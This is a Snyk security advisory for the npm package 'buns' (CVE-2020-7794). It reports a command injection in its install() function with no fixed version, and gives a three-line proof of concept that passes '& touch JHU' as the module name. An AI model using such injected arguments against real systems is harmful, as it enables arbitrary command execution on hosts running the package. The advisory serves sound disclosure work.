Command Injection Affecting buns package, versions *
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.2% (57th
percentile)
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Test your applications- Snyk ID SNYK-JS-BUNS-1050389
- published 8 Jan 2021
- disclosed 11 Dec 2020
- credit JHU System Security Lab
Introduced: 11 Dec 2020
CVE-2020-7794 Open this link in a new tabHow to fix?
There is no fixed version for buns.
Overview
Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 678 in index file lib/index.js in the exported function install(requestedModule).
PoC
var root = require("buns");
var name = "& touch JHU";
root.install(name);